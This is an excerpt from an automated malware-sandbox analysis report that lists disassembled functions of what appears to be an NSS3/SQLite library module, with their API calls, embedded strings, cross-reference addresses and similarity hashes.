_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CE13D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE14052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE1406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CE1410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE1449C

Strings

database corruption, xrefs: 6CE14490, 6CE144F4, 6CE14599, 6CE14764, 6CE14804
%s at line %d of [%.10s], xrefs: 6CE14495, 6CE144F9, 6CE1459E, 6CE14769, 6CE14809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE14452, 6CE14486, 6CE144EA, 6CE14571, 6CE14580, 6CE1458F, 6CE1475A, 6CE147FA

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 0b90147fb0eaa17fe5f7d3732204fe075f0a3bfe519e3fddfb5d5379c982899d
Instruction ID: 0fda9099c9b53f122ba3fe93106b7abfa1b3515753015ad8e6dd82b264d5e589
Opcode Fuzzy Hash: 0b90147fb0eaa17fe5f7d3732204fe075f0a3bfe519e3fddfb5d5379c982899d
Instruction Fuzzy Hash: B9828B75A08205DFCB04CF69C480B9AB7B2BF4931CF3585AAD905ABB51E731EC52CB91

Function 6CEEAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEEACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEEACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEEACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEEAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEEADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEADF0

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEEB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEEB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEEB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEEB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEEB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEB40C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 00a901e17fd56fc3d3d4c10ec215e5f6fd7a27c18c0c6fd2ee9cee0cf5e511c6
Instruction ID: 1ddf0b15372922a8fae30ef6a9ad3a69d4487f38f7a3ffce85d51e570af9e802
Opcode Fuzzy Hash: 00a901e17fd56fc3d3d4c10ec215e5f6fd7a27c18c0c6fd2ee9cee0cf5e511c6
Instruction Fuzzy Hash: CF228C71904301ABE710CF14CC45B9A77F1AF8834CF24856CE8595F7A2E772E859CB9A

Function 6CE31F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE325F3

Strings

unsafe use of virtual table "%s", xrefs: 6CE330D1
a NATURAL join may not have an ON or USING clause, xrefs: 6CE332C1
H, xrefs: 6CE3322D
cannot join using column %s - column not present in both tables, xrefs: 6CE332AB
cannot have both ON and USING clauses in the same join, xrefs: 6CE332B5
no such index: "%s", xrefs: 6CE3319D
'%s' is not a function, xrefs: 6CE32FD2
recursive reference in a subquery: %s, xrefs: 6CE322E5
too many references to "%s": max 65535, xrefs: 6CE32FB6
no such table: %s, xrefs: 6CE326AC
no tables specified, xrefs: 6CE326BE
%s.%s.%s, xrefs: 6CE3302D
table %s has %d values for %d columns, xrefs: 6CE3316C
too many columns in result set, xrefs: 6CE33012
multiple recursive references: %s, xrefs: 6CE322E0
%s.%s, xrefs: 6CE32D68
H, xrefs: 6CE3329F
access to view "%s" prohibited, xrefs: 6CE32F4A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: ad200f0feff206238c9240417f7b69a68e52b73dbfa979107e8c9fadd6afa439
Instruction ID: a1447f47b86500413941fd4c3b520a2f50babb4a150b8a9cdd3b947bb706a8b8
Opcode Fuzzy Hash: ad200f0feff206238c9240417f7b69a68e52b73dbfa979107e8c9fadd6afa439
Instruction Fuzzy Hash: 03D28E70E04229CFDB04CF99C484B9DB7B1BF59308F3891A9D899AB752D735B846CB90

Function 6CE6ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE6ED38

Part of subcall function 6CE04F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE04FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE6EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE6EFE4

Part of subcall function 6CF2DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CE05001,?,00000003,00000000), ref: 6CF2DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE6F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE6F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE6F1D1
sqlite3_free.NSS3(?), ref: 6CE6F368

Strings

porter, xrefs: 6CE6ED97
fts3_tokenizer, xrefs: 6CE6EE1A, 6CE6EEA8
optimize, xrefs: 6CE6F199, 6CE6F1CC, 6CE6F211
fts4, xrefs: 6CE6F2AD
snippet, xrefs: 6CE6EF05, 6CE6EF37, 6CE6EF7C
fts4aux, xrefs: 6CE6ECF9
simple, xrefs: 6CE6ED79
fts3, xrefs: 6CE6F247
offsets, xrefs: 6CE6EFAF, 6CE6EFDF, 6CE6F01F
unicode61, xrefs: 6CE6EDB5
matchinfo, xrefs: 6CE6F04F, 6CE6F082, 6CE6F0C2, 6CE6F0F2, 6CE6F124, 6CE6F169
fts3tokenize, xrefs: 6CE6F30F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 85287e0c3ab140693c57ecde0d81a60a689e9affe6f82a39d556a38080b91d51
Instruction ID: 2692bccc68e48be4bb604e24931cf1828b8c946e7348790fef3af6c82f24dc63
Opcode Fuzzy Hash: 85287e0c3ab140693c57ecde0d81a60a689e9affe6f82a39d556a38080b91d51
Instruction Fuzzy Hash: A90203B1BA43015BE7049F72988532B76B26BC530CF24893CD85A87F41EB78E856C792

Function 6CEE7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEE7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEE7D1E

Part of subcall function 6CEE7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEE91C5), ref: 6CEE788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEE7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEE7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEE7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEE7E58

Part of subcall function 6CEE7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEE91C5), ref: 6CEE78BB
Part of subcall function 6CEE7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEE91C5), ref: 6CEE78FA
Part of subcall function 6CEE7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEE91C5), ref: 6CEE7930
Part of subcall function 6CEE7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE91C5), ref: 6CEE7951
Part of subcall function 6CEE7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEE7964
Part of subcall function 6CEE7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEE797A
Part of subcall function 6CEE7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEE7988
Part of subcall function 6CEE7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEE7998
Part of subcall function 6CEE7870: free.MOZGLUE(00000000), ref: 6CEE79A7
Part of subcall function 6CEE7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEE91C5), ref: 6CEE79BB
Part of subcall function 6CEE7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEE91C5), ref: 6CEE79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEE7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEE7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEE7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEE8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEE8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEE8093
SECOID_FindOID_Util.NSS3 ref: 6CEE7F29

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEE8072
SECOID_FindOID_Util.NSS3 ref: 6CEE80F5

Part of subcall function 6CEEBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEE800A,00000000,?,00000000,?), ref: 6CEEBC3F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 8002e5a50ec8c56e550f14edcd1160422aeb5e6b2b23a32fe89795422f0c0e2b
Instruction ID: 088c7973a6f8b8f6cd1308af11a94f6fb355775b110d986f12213debbebaf22b
Opcode Fuzzy Hash: 8002e5a50ec8c56e550f14edcd1160422aeb5e6b2b23a32fe89795422f0c0e2b
Instruction Fuzzy Hash: A7E18F716053019FE710CF28D880B5A77F5AF4938CF25496DE89A9BB62E731EC05CB92

Function 6CE71C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE71C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE71C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE71CA1
GetLengthSid.ADVAPI32(?), ref: 6CE71CA9
malloc.MOZGLUE(00000000), ref: 6CE71CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE71CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE71CE4
GetLengthSid.ADVAPI32(?), ref: 6CE71CEC
malloc.MOZGLUE(00000000), ref: 6CE71CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE71D0F
CloseHandle.KERNEL32(?), ref: 6CE71D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE71D4D
GetLastError.KERNEL32 ref: 6CE71D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE71D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE71D7A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4e9a7e53888ccb63064cedfba15e4f51278ba99184cd80d68b35562cfc28f41c
Instruction ID: e1284ec6f38c6316de4db6e835c472524c0165f0a4b7bea9f95febe3f01d9f18
Opcode Fuzzy Hash: 4e9a7e53888ccb63064cedfba15e4f51278ba99184cd80d68b35562cfc28f41c
Instruction Fuzzy Hash: 513163B5E10218AFEF90AF74CD48BAA7BB8FF4A345F0041A5F609D2251E7306994CF65

Function 6CE73D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE73DFB
__allrem.LIBCMT ref: 6CE73EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE73FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE74047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE740DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE7415F
__allrem.LIBCMT ref: 6CE7416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE74288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE742AB
__allrem.LIBCMT ref: 6CE742B7

Strings

%04d, xrefs: 6CE7407B
%lld, xrefs: 6CE73FB2
%03d, xrefs: 6CE742E8
%02d, xrefs: 6CE74086

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: db9a038dc1d987ad660c1235e1eecda9de1fbbe6ea1803602256a86445fb3e34
Instruction ID: ab8fae73c03347cc6739758108e1d48b3706209c5e268b08df747b575a22d2bb
Opcode Fuzzy Hash: db9a038dc1d987ad660c1235e1eecda9de1fbbe6ea1803602256a86445fb3e34
Instruction Fuzzy Hash: DBF1E271A087409FD725CF38C841BAAB7F6AF86348F248A1EF48597B51E730D846CB52

Function 6CE7EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7EF63

Part of subcall function 6CE887D0: PORT_NewArena_Util.NSS3(00000800,6CE7EF74,00000000), ref: 6CE887E8
Part of subcall function 6CE887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE7EF74,00000000), ref: 6CE887FD
Part of subcall function 6CE887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE8884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE7F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE7F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE7F374
PL_strcasecmp.NSS3(6CFC2FD4,?), ref: 6CE7F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE7F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE7F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE7F67D
CERT_DestroyName.NSS3(?), ref: 6CE7F68B

Part of subcall function 6CE88320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE88338
Part of subcall function 6CE88320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE88364
Part of subcall function 6CE88320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE8838E
Part of subcall function 6CE88320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE883A5
Part of subcall function 6CE88320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE883E3

Part of subcall function 6CE884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE884D9
Part of subcall function 6CE884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE88528

Part of subcall function 6CE88900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CE88955

Strings

", xrefs: 6CE7F21B
*, xrefs: 6CE7F3C6
oid., xrefs: 6CE7F2CF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 2ea0e7c20a61f5f4e80e9cb61ccffd80acd7578de082fa687037c3fc1f13d35b
Instruction ID: f30329aeac91d58b9ff1e6fd560ee1534f2f7869d18957f4baeb02d501bbe44d
Opcode Fuzzy Hash: 2ea0e7c20a61f5f4e80e9cb61ccffd80acd7578de082fa687037c3fc1f13d35b
Instruction Fuzzy Hash: AB222A7160C3518FD724CE68C49076AB7F6AB8531CF38462DE49587B91E7399C06C7A3

Function 6CE21C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE21D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE21EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CE21FB7

Strings

table, xrefs: 6CE21C8B
sqlite_temp_master, xrefs: 6CE21C5C
abort due to ROLLBACK, xrefs: 6CE22223
no more rows available, xrefs: 6CE22264
sqlite_master, xrefs: 6CE21C61
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CE21F83
unknown error, xrefs: 6CE22291
another row available, xrefs: 6CE22287
attached databases must use the same text encoding as main database, xrefs: 6CE220CA
unsupported file format, xrefs: 6CE22188

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 9e22aae93f773dcfb95fac743b2044e3a245c856218f32b062e2f5f842cec5f1
Instruction ID: 7915856d069a2301ec72709e20012f477dd9f230f3e589f75f036e563fb1ce2d
Opcode Fuzzy Hash: 9e22aae93f773dcfb95fac743b2044e3a245c856218f32b062e2f5f842cec5f1
Instruction Fuzzy Hash: 5D12D2716083418FD714CF19C484B1AB7F2BF95328F28856DE8959BB52D736EC46CB82

Function 6CE45F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6CE462F9
u, xrefs: 6CE481DA
2, xrefs: 6CE465B4
BINARY, xrefs: 6CE48708, 6CE48737, 6CE487B8
ON clause references tables to its right, xrefs: 6CE46BEC
-, xrefs: 6CE46228
NOCASE, xrefs: 6CE48703
sub-select returns %d columns - expected %d, xrefs: 6CE4805F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
